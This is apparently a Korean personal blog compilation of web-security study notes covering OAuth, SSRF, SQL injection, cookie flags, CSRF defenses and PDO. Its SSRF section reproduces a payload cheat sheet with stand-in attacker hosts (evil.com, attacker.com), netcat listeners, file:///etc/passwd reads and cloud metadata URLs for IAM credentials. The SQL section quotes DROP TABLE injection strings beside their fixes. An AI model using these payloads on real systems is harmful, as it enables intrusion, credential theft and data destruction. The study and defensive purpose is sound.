'웹'에 해당되는 글 67건

https://interconnection.tistory.com/76

다시 한번 더

OAuth 란?

"웹, 앱 서비스에서 제한적으로 권한을 요청해 사용 할 수 있는 키를 발급해주는 것입니다."

사용하는 이유는 엄청나게 많은 각 서비스별 ID와 Password를 다 기억하고 로그인시 입력을 해야하는 경우가 생깁니다.

그런데 이 OAuth API를 사용하는 사이트는 그렇지 않습니다. 제한된 설정으로 연결하여 인증하면 그만이죠.

다음은 그 예입니다.

예를 한번 들어보겠습니다.

그런데 당황스럽게도 이 예에서 본인의 소득수준에 따라서 이해도가 달라지네요.

저도 이 개념을 공부하면서 처음 알게된 부분인데요.

자동차에는 발렛키라는게 있다고 합니다. 중저가의 차만 타본 저는 잘 이해가 안가지만,

이 발렛키는 사용할 수 있는 권한이 제한적입니다.

차량을 발렛을 하는 사람으로 가장해서 탈취하려는 시도를 막기 위해서,

트렁크를 열 수 없고, 주행거리는 1km이하로 주행되고 그 이상은 안된다고 합니다.

발렛키의 예에서 보는 것처럼 어떤 제한적으로 인증을 해서 사용이 가능하게끔 하는 역할을 하는 것이 OAuth입니다.

OAuth를 이용하면 특정 기능과 리소스에 접근 할 수 있는 인증 토큰(Access Token = 발렛키)를 발급 받을 수 있습니다.

인증 토큰으로 서비스로 접근하는데에 사용을 합니다.

OAuth의 원리와 과정

1) Resource Owner(사용자)

2) Authorization Server(인증 서버)

3) Resource Server(REST API)

4) Client

이렇게 OAuth가 네 가지의 구성으로 이루어집니다.

OAuth를 이용해서 권한을 획득하는 방법은 굉장히 다양합니다.

다음과 같이 크게 네 가지의 방법이 있습니다. 이 부분은 그냥 참고만 하고 넘어가시면 됩니다.

지금 이야기를 하려고 하는 것은 이러한 세부적인 이야기는 아니고 어떤 방식으로 돌아가는지 전체적인 부분만 보려고 합니다.

이제 OAuth를 사용해서 구성들이 어떠한 방식으로 작동하는 지에 대해서 이야기를 해보겠습니다.

위에서 언급했지만 다음 네가지의 구성이 있습니다.

1) Resource Owner(DB를 장악하고 있는 OAuth를 사용하는 사람)

2) Authorization Server(OAuth 인증 서버)

3) Resource Server(REST API Server)

4) Client(Resource를 사용하는 직접 사용자)

네가지 구성 중에 중요한 것은 Client와 Resource Owner입니다.

나머지는 그 둘 간의 보안과 사용의 제한을 걸어주는 OAuth를 위한 요소들이 뿐입니다.

이제 작동 원리에 대해서 잘근잘근? 이야기 해보겠습니다.

쉽게 이야기를 해보기 위해서 OAuth 2.0 인증방식을 가지는 FaceBook을 기준으로 설명을 해보겠습니다.

* 설명에 앞서 간단하게  Client는 본인, Resource Owner, Authorization Server, Resource Server는 Facebook 서버라고 생각합니다.

1) Client가 어떤 사이트를 이용해보려고 하는데 아이디를 FaceBook으로 가입할 수 있다는 버튼을 발견합니다.

2) 버튼을 누르면 Facebook을 로그인 창이 나옵니다. 로그인을 합니다. (이 부분이 (A), (B) 과정입니다.)

3) 로그인을 하고 나면 서버에서 승인을 받아서 (B)단계가 지났다고 생각하면 됩니다.

4) 그리고 로그인 후에, 해당사이트의 접근을 허용 할 것인가? 확인 창이 나타나게됩니다.

5) 허용을 하게 되면 해당 사이트에서 로그인 목적으로 사용할 수 있는 Access Token을 받게 됩니다.( (C), (D)과정입니다.)

6) 실제로 보면 facebook의 Access token은 다음과 같이 던져줍니다.

{

"facebook":

{

"access_token":"EAAXCfLMud8M*",

"expiration_date":"2017-01-02T07:43:09.000Z",

"id":"15037283890"

}

}

여기서 부터가 바로 발급받은 Access Token을 이용해서 서비스를 사용하는 과정( (E), (F) )입니다.

7) 이제 Access Token의 id를 가지고 access_token으로 서버의 제한된 resource(DB와 같은)을 expiration_date까지 사용할 수 있습니다.

이 과정이 끝입니다.

즉, 쉽게 이야기 하면, Facebook에게 토큰 사용요청을 해서 토큰을 받아서, 토큰을 가지고 서버에 요청하여 제한된 허용으로 사용합니다. 

현재 많은 서비스들이 이 OAuth을 사용하고 있습니다. 그래서 사용자들의 편의를 돕고 있습니다.

어플리케이션에도 사용자를 쉽게 유치할 수 있습니다. 권장합니다.

이상 간단한 OAuth의 개념과 원리에 대해서 정리를 마치겠습니다.

https://hackersonlineclub.com/server-side-request-forgery-ssrf-types/

경로 참고

SSRF 샘플

What can we do with SSRF? –

• SSRF to Reflected XSS
• Try URL schemas to read internal and make server perform actions (file:///, dict://, ftp://, gopher://..)
• We can scan for internal networks and ports
• If it runs on Cloud Instances try to fetch META-DATA

SSRF to Reflected XSS –
Simply fetch a file from external sites which has malicious payload with content type served as htmlExample - http://localhost:4567/?url=http://brutelogic.com.br/poc.svg

Testing URL schemas –
First thing to do when we find an SSRF is to test all the wrapper which are working

• file:///
• dict://
• sftp://
• ldap://
• tftp://
• gopher://

file:// –

File is used to fetch file from the file system

http://example.com/ssrf.php?url=file:///etc/passwd http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

If the server block http request to external sites or whitelist you could simply use below URL schemas to make a request

dict:// –

DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:

http://example.com/ssrf.php?dict://evil.com:1337/ evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126) CLIENT libcurl 7.40.0

sftp:// –

Sftp stands for SSH File Transfer Protocol, or Secure File Transfer Protocol, is a separate protocol packaged with SSH that works in a similar way over a secure connection.

http://example.com/ssrf.php?url=sftp://evil.com:1337/ evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146) SSH-2.0-libssh2_1.4.2

ldap:// or ldaps:// or ldapi:// –

LDAP stands for Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

tftp:// –

TFTP stands for Trivial File Transfer Protocol is a simple lockstep File Transfer Protocol which allows a client to get a file from or put a file onto a remote host

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET evil.com:# nc -lvup 1337 Listening on [0.0.0.0] (family 0, port 1337) TESTUDPPACKEToctettsize0blksize512timeout3

gopher:// –

Gopher, is a distributed document delivery service. It allows users to explore, search and retrieve information residing on different locations in a seamless fashion.

http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):- evil.com:# nc -lvp 1337 Listening on [0.0.0.0] (family 0, port 1337) Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398) Hi ssrf test

Scan for internal networks and ports –

What if they are running some servers in their LAN (Kibana, Elastic Search,MongoDB.. )

Which we can not access from internet directly as firewall blocks them

We use SSRF to access them.

Cloud Instances –

Amazon:

If you find an SSRF in Amazon Could, Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :

http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/user-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance

This will give our juicy information like Aws keys, ssh keys and more

Refer these for POC- #285380, #53088

For example:-http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/[INJECTION PAYLOAD] http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/Google Cloud –

Same for google

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json

Further exploiting this can lead to instances takeover

https://stove99.tistory.com/99

https://hackbyr0k.tistory.com/2

■ 입력데이터 검증 및 표현

프로그램 입력값에 대한 검증 누락 또는 부적적한 검증, 데이터의 잘못된 형식지정, 일관되지 않은 언어셋 사용 등으로 인해 발생되는 보안 약점으로 SQL 삽입, 크로스 사이트 스크립트(XSS) 등의 공격 유발 가능.

- SQL Injection

 > 개요

  데이터베이스(DB)와 연동된 웹 어플리케이션에서 입력된 데이터에 대한 유효성 검증을 하지 않을 경우, 공격자가 입력 폼 및 URL 입력란에 SQL문을 삽입하여 DB로 부터 정보를 열람하거나 조작할 수 있는 보안약점을 말함.

<그림 3-1>에서 나타낸 것처럼, 취약한 웹 응용프로그램에서는  사용자로부터 입력된 값을 필터링 과정 없이 넘겨받아 동적쿼리(Dynamic Query)를 생성하기 때문에 개발자가 의도하지 않은 쿼리가 생성되어 정보유출에 악용될 수 있다.

동적쿼리(Dynamic Query) : DB에서 실시간으로 받는 쿼리.Prepared Statement가 동적쿼리가 됨.

> 보안대책

 - Prepared Statement 객체 등을 이용하여 DB에 컴파일 된 쿼리문(상수)을 전달하는 방법을 사용한다. Prepared Statement 를 사용하는 경우에는 DB쿼리에 사용되는 외부 입력값에 대하여 특수문자 및 쿼리 예약어를 필터링하고, 스트러츠(Struts), 스프링(Spring)등과 같은 프레임워크를 사용하는 경우에는 외부 입력값 검증 모듈 및 보안 모듈을 상황에 맞추어 적절하게 사용한다.

Prepared Statement 객체: 컴파일된 쿼리 객체로 MySQL, Oracle, DB2, SQL Server등에서 지원하며, JAVA의 JDBC, Perl의 DBI, PHP의 PDO, ASP의 ADO를 이용하여 사용 가능

> 코드예제

- 다음은 안전하지 않은 코드의 예를 나타낸 것으로, 외부로부터 tableName과 name의 값을 받아서 SQL 쿼리를 생성하고 있으며, name의 값으로 name' OR 'a'='a를 입력하면 조작된 쿼리를 생성하는 문자열 전달이 가능하다.

이를 안전한 코드로 변환하면 다음과 같다. 파라미터(Parameter)를 받는 preparedStatement 객체를 상수 스트링으로 생성하고, 파라미터 부분을 setXXX 메소드로 설정하여, 외부의 입력이 쿼리문의 구조를 바꾸는 것을 방지하는 것이 필요하다.

다음의 예제는 SQL Injection 공격 중 JDO의 경우를 나타내는 것으로, JDO API의 SQL 또는 JDO SQL 쿼리 생성을 위한 문자열이 외부 공격자에 의해 그 의미가 왜곡되거나 구조가 변경되어 임의의 쿼리를 수행하는 것을 나타내고 있다.

아래 코드에서 공격자가 외부의 입력(name)값을 name';DROP TABLE MYTABLE;-- 로 입력하게 되면, 최종적으로 수행되는 쿼리는 다음과 같이 변경되고 이 쿼리로 수행되어 테이블이 삭제된다.

SELECT col1 FROM MYTABLE WHERE name = 'name';DROP TABLE MYTABLE;--'

위 코드를 아래 코드와 같이 외부 입력값이 위치하는 부분을 ?로 설정하고, 실행시에 해당 파라미터가 전달 되도록 수정함으로써 외부의 입력(name)이 쿼리의 구조를 변경시키는 것을 방지할 수 있다.

SQL Injection 공격 Persistence는 Java 계열 언어에서 발생할 수 있는 SQL Injection 공격의 일종으로서 J2EE Persistence API를 사용하는 응용프로그램에서 외부의 입력을 아무런 검증 없이 질의문으로 사용할 때 내부 정보가 노출되는 공격이다.

아래 코드에서 공격자가 외부 입력(id) 값으로 foo';DROP TABLE MYTABLE;--을 주게 되면, 다음과 같은 질의문이 실행되어 테이블이 삭제된다.

SELECT OBJECT(i) FROM item i WHERE col1 i.itemNAME = 'foo' ; DROP TABLE MYTABLE;--'

위 코드를 안전한 코드로 변경하는 방법은 아래 예제 코드와 같이 파라미터를 받는 쿼리(query)를 생성하고, 파라미터를 설정하여 실행하도록 한다. 이를 통해 외부의 입력이 쿼리의 구조를 변경시키는 것을 방지할 수 있다.

SQL Injection 공격 MyBatis Data Map은 외부에서 입력되는 값이 SQL 질의문을 연결하는 문자열로 사용되는 경우에 의도하지 않은 정보가 노출될 수 있는 공격 형태이다.

아래의 코드를 보면 정의된 질의문 중 delStudent 명령어 선언에서 쿼리에 삽입되는 파라미터들 중 $name$으로 전달되는 문자열 값이 그대로 연결되어 쿼리로 만들어진다. 따라서 만약 name의 값으로 ' OR 'x'='x'을 전달하면 다음과 같은 쿼리로 수행되어 테이블의 모든 원소를 삭제하게 된다.

DELETE STUDENTS WHERE NUM = '' and NAME = '' or 'x' = 'x'

위 코드는 아래와 같이 Name 파라미터를 #name# 형태로 받도록 수정하는 것이 안전하다.

https://opentutorials.org/course/3387/21744

https://mitny.github.io/articles/2019-04/httpOnly-secureCookie

해당 경로 참고

HTTP Only

HttpOnly-OWASP

1. HTTP Only란?

• document.cookie와 같은 자바스크립트로 쿠키를 조회하는 것을 막는 옵션
• 브라우저에서 HTTP Only가 설정된 쿠키를 조회할 수 없다.
• 서버로 HTTP Request 요청을 보낼때만 쿠키를 전송한다.
• 이를 통해 XSS(Cross Site Scripting) 공격을 차단할 수 있다.

1. HTTP Only 설정 방법

• Tomcat 6 이상
• context.xml 에서 설정

<?xml version="1.0" encoding="UTF-8"> <Context path="/myWebApplicationPath" useHttpOnly="true">

• Java 6 이상, Servlet 3.0 지원되는 경우
• Java 코드 내에서

  Cookie cookie = getMyCookie("myCookieName"); cookie.setHttpOnly(true);

• WEB-INF/web.xml 에서 설정

<session-config> <cookie-config> <http-only>true</http-only> </cookie-config> </session-config>

• PHP 5.2.0 이상

  session.cookie_httponly = True

Secure Cookie

1. Secure Cookie란?
   • 웹브라우저와 웹서버가 HTTPS로 통신하는 경우에만 웹브라우저가 쿠키를 서버로 전송하는 옵션
2. Secure 옵션 설정 방법
   • Java 6 이상, Servlet 3.0 지원되는 경우
   • WEB-INF/web.xml에서 설정

<session-config> <cookie-config> <secure>true</secure> </cookie-config> </session-config>

• PHP

  session.cookie_secure = True

직접 해보기

PHP에서 설정하는 방법으로 위의 옵션들을 직접 적용해 볼 것이다.

기본 옵션에서는 secure 옵션이 주석 처리 되어있다.

위와 같이 session.cookie_secure = True,session.cookie_httponly = True로 설정해준 후 apache 서버를 재시작해준다.

그 후에 쿠키를 확인해보면 Secure, HTTP 전용 옵션이 체크되어있는 것을 확인할 수 있다.

설정되어 있지 않은 쿠키와 비교해보자

첫번째로 확인해볼 것은 콘솔창에서 document.cookie; 를 쳤을 경우 쿠키가 출력되는가이다.

예상대로 HTTP 전용 옵션이 꺼져있는 쿠키만 출력된다. 쿠키 에디터로 옵션을 꺼도 출력된다.

두번째로 확인해볼 것은 http 통신에서 쿠키가 전송되는가이다.

https 통신으로 페이지에 접속했을 때는 secure 옵션이 적용된 쿠키 2개, 적용되지 않은 3개 총 5개의 쿠키가 있었다.

하지만 https 통신으로 페이지에 접속했을 때 secure 옵션이 적용되지 않은 3개의 쿠키만 있었다.

옵션들이 잘 적용되는 것을 확인해보았다. 보안 옵션을 적용해 안전한 페이지를 만들어요!! :)

https://itstory.tk/entry/CSRF-%EA%B3%B5%EA%B2%A9%EC%9D%B4%EB%9E%80-%EA%B7%B8%EB%A6%AC%EA%B3%A0-CSRF-%EB%B0%A9%EC%96%B4-%EB%B0%A9%EB%B2%95

https://12teamtoday.tistory.com/10

CSRF(Cross Site Request Forgery)

1. 개념 : 권한을 도용당한 인터넷 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록)를 특정 웹사이트에 요청하게 만드는 공격
2. 방어 기법
   • Referer 검증
     • Back-end에서 request의 referer를 확인하여 Domain(saleson.com)이 일치하는지 검증.
     • 대부분의 CSRF공격 방어가 가능함. 하지만 XSS 취약점이 있는 경우 방어가 불가능해질 수 있음.
   • Security Token 사용(CSRF Token)
     • 사용자의 세션에 임의의 난수값을 저장하고 사용자의 요청마다 해당 난수값을 포함시켜 전송.
     • 이후 Back-end에서 요청을 받을 때마다 세션에 저장된 토큰값과 요청 파라미터에서 전달되는 토큰값이 같은지 검증하는 방법. 이 또한 XSS 취약점이 있는 경우 방어가 불가능해질 수 있음.
   • Double Submit Cookie 검증
     • 웹브라우저의 Same Origin 정책으로 인해 자바스크립트에서 타 도메인의 쿠키값을 확인, 수정하지 못한다는 것을 이용한 방어 기법.
     • script 단에서 요청시 난수를 생성하여 쿠키에 저장하고 동일한 난수 값을 요청 파라미터에 저장하여 서버에 전송. 서버단에서 쿠키의 토큰 값과 파라미터의 토큰값이 일치하는지만 검사하면 됨. 서버에 토큰값을 저장할 필요가 없어 세션 검증보다 가벼움.
   • Spring Security를 이용하는 방법
     • 사실 Spring Security를 공부하다가 CSRF 개념을 접하게 되었습니다. Spring Security를 이용한 CSRF 방어 방법은 세부 예제와 함께 이어집니다.

https://codediver.tistory.com/148

Security Token 사용 (A.K.A CSRF Token)

Referrer 검증이 불가한 환경이라면, Security Token를 활용할 수 있습니다. 우선 사용자의 세션에 임의의 난수 값을 저장하고 사용자의 요청 마다 해당 난수 값을 포함 시켜 전송시킵니다. 이후 Back-end 단에서 요청을 받을 때마다 세션에 저장된 토큰 값과 요청 파라미터에 전달되는 토큰 값이 일치하는 지 검증하는 방법입니다. 이 방법도 결국 같은 도메인 내에 XSS 취약점이 있다면 CSRF 공격에 취약해집니다. 아래는 간략한 샘플 코드입니다.

Double Submit Cookie 검증은 Security Token 검증의 한 종류로 세션을 사용할 수 없는 환경에서 사용할 수 있는 방법입니다. 웹브라우저의 Same Origin 정책으로 인해 자바스크립트에서 타 도메인의 쿠키 값을 확인/수정하지 못한다는 것을 이용한 방어 기법입니다. 스크립트 단에서 요청 시 난수 값을 생성하여 쿠키에 저장하고 동일한 난수 값을 요청 파라미터(혹은 헤더)에도 저장하여 서버로 전송합니다. 서버단에서는 쿠키의 토큰 값와 파라미터의 토큰 값이 일치하는 지만 검사하면 됩니다. 서버에 따로 토큰 값을 저장할 필요가 없어 위에서 살펴본 세션을 이용한 검증보다 개발 공수가 적은 편입니다. 피싱 사이트에서는 도메인이 달라 facebook.com 쿠키에 값을 저장하지 못하므로 (조금 전에 언급한 Same Origin 정책) 가능한 방어 기법입니다. 아래는 샘플 코드입니다.

https://offbyone.tistory.com/1

더 자세한 건 위 경로를 참고

PDO(PHP Data Object) 는 이기종 데이터베이스에 접근하는 공통 API를 제공하는 것을 목적으로 만들어 졌습니다. mysqli 는 객체 스타일과, 절차적 스타일의 API를 제공하는데 비해  PDO 는 객체 스타일의  API 만을 제공합니다. PDO 는 예전에 사용하던 mysql API  와는 달리 Prepared Statement 를 제공하므로 SQL Injection 방어에 사용될  수 있습니다.

Preapred Statement 는 원래 SQL 을 미리 데이터베이스에서 컴파일해 두고, 파라미터 값만 바꿔서 처리해서 쿼리의 성능을 올리는데 사용되었지만, 요즘은 SQL Injection 방어용으로 더욱 많이 예기 되어지는것 같습니다. 그만큼 요즘은 보안이 큰 이슈로 등장 하였습니다.

PDO를 사용하기 위해서는 PHP 5.1.0 이상의 버전을 사용해야 합니다.

데이터베이스에 연결하기 위해서 PDO 객체의 생성자에 DSN(Data Source Name), 아이디, 비밀번호를 인자로 입력합니다. DSN의 port 는 기본값 3306 이 경우 생략해도 됩니다. 데이터베이스 연결 객체를 생성한 후에 setAttribute 메소드를 사용해서 두 가지 속성을 지정하고 있습니다.

- PDO::ATTR_EMULATE_PREPARES: 이 속성은 Preppared Statement 를 데이터베이스가 지원 하지 않을 경우 에뮬레이션 하는 기능으로 false 를  지정해서 데이터베이스의 기능을 사용하도록 합니다.

- PDO::ATTR_ERRMODE : 이 속성은 PDO 객체가 에러를 처리하는 방식을 결정합니다.

PDO::ERRMODE_EXCEPTION 은 에러가 발행했을때 PDOException 을 throw 하도록합니다. 이 경우 try {} catch{} 를 사용하여 에러를 처리하면 됩니다. 다른 방법으로는 PDO::ERRMODE_SILENT(에러 코드만 설정), PDO::ERRMOdE_WARNING(E_WARNING 발생)이 있습니다.

- 쿼리에 값을 바꿔 넣을 곳에 ? (placeholder)를 사용합니다.
- $stmt = $db->prepare($query); : 스테이트먼트를 생성합니다.
- $stmt->execute(array($keyword, $no)); : 배열로 값을 입력합니다.
- $result = $stmt->fetchAll(PDO::FETCH_NUM); : 결과를 가져옵니다.

  PDO::FETCH_NUM : 숫자 인덱스 배열 반환
  PDO::FETCH_ASSOC : 컬럼명이 키인 연관배열 반환
  PDO::FETCH_BOTH : 위 두가지 모두
  PDO::FETCH_OBJ : 컬럼명이 프로퍼티인 인명 객체 반환
 

javascript(js) response를 잡아서 변경하는 일이 생겼다.

지인 찬스가 필요하다.

Burp Suite 옵션 설정 시

intercept Server Response(추가)

Operator    Match type       Relationship       Condition

OR            File extension    Does not match  js

Match and Replace(체크)

Request header  ^If-None-Match.*$

Request header  ^If-Modified-Since.*$

환경 : 윈도우10

https://www.hahwul.com/2017/08/powershell-execution-of-scripts-is.html

해당 경로에서 참고하였습니다. 

한글

"이 시스템에서 스크립트를 실행할 수 없으므로 파일을 로드할 수 없습니다"

영문

"execution of scripts is disabled on this system."

이런 에러는Windows에서 정책적으로 Powershell 실행에 제한이 있어서 불가능합니다. 관리자 권한이 있는 powershell로 ExecutionPolicy를 RemoteSigned로 변경해주는 것으로 해결이 가능합니다.

PS C:\> Set-ExecutionPolicy RemoteSigned

잘 바뀌었네요. 바뀐 권한을 보면 RemoteSigned로 변경되어있습니다.

PS C:\> Get-ExecutionPolicy
RemoteSigned

https://bourbonkk.tistory.com/4

자세한 내용은 해당 블로글를 보면 될 것 같습니다.

환경 셋팅)

zero-gravity.tistory.com/239

github.com/nabla-c0d3/sslyze/blob/master/README.md

m.blog.naver.com/jihye2340/220659855526

slproweb.com/products/Win32OpenSSL.html

현업에서 갑자기 쓸일이 발생하여 해당 경로를 참고해 취약한 HTTPS 재협상 취약점을 확인하였습니다.

https://intadd.tistory.com/143

보통 페북을 통해 경로나 정보를 수집하는데 해당 글 역시 재미있어 보여서 참고함.

https://research.securitum.com/xss-in-amp4email-dom-clobbering/

https://www.netsparker.com.tr/blog/web-guvenligi/dom-clobbering/

https://medium.com/@terjanq/dom-clobbering-techniques-8443547ebe94